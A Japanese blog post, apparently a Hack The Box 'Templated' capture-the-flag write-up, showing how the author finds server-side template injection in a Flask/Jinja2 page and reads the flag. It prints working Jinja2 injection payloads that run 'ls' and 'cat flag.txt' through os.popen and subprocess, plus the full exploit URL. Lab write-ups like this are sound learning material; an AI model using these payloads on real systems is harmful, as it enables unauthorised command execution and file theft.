naya_hira’s diary

三日坊主の備忘録

Hack the box Templated Writeup

Open url

以下のような、ページが表示されました。
f:id:naya_hira:20210215175423p:plain 下の行にProudly powered by Flask/Jinja2と記述されています。
それより、 Flask/Jinja2 でページが作成されていることがわかりました。

Search about Flask/Jinja2

Jinja2 とは

jinja.palletsprojects.com

templating language とは

ja.wikipedia.org

Flask/Jinja2 のまとめ

Python > Flask > テンプレートエンジン > Jinja2
みたいな感じです

Googling on jinja2 exploit

medium.com

以上から、SSTI(サーバーサイド・テンプレート・インジェクション) があることがわかりました。
まず、この脆弱性が利用可能か試してみます。

try SSTI

この脆弱性は、以下のような{{any_code}}から確認できます。
http://206.189.121.131:32326/{{1+1}}
f:id:naya_hira:20210215180618p:plain

The page '2' could not be found

のように{{}}内の計算結果が表示されました。

search eval code

0x1.gitlab.io より f:id:naya_hira:20210215181846p:plain

try eval code

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

以上を試します。下を使用します。 f:id:naya_hira:20210215182009p:plain すると、画像のように

'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var '

lsが実行できたようです。

Get Flag

{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

URL :http://206.189.121.131:32326/%7B%7Bconfig.class.init.globals['os'].popen('cat%20flag.txt').read()%7D%7D でFlagを獲得できました。

f:id:naya_hira:20210215182629p:plain

最後に

最後の塗りが雑かったと思いました。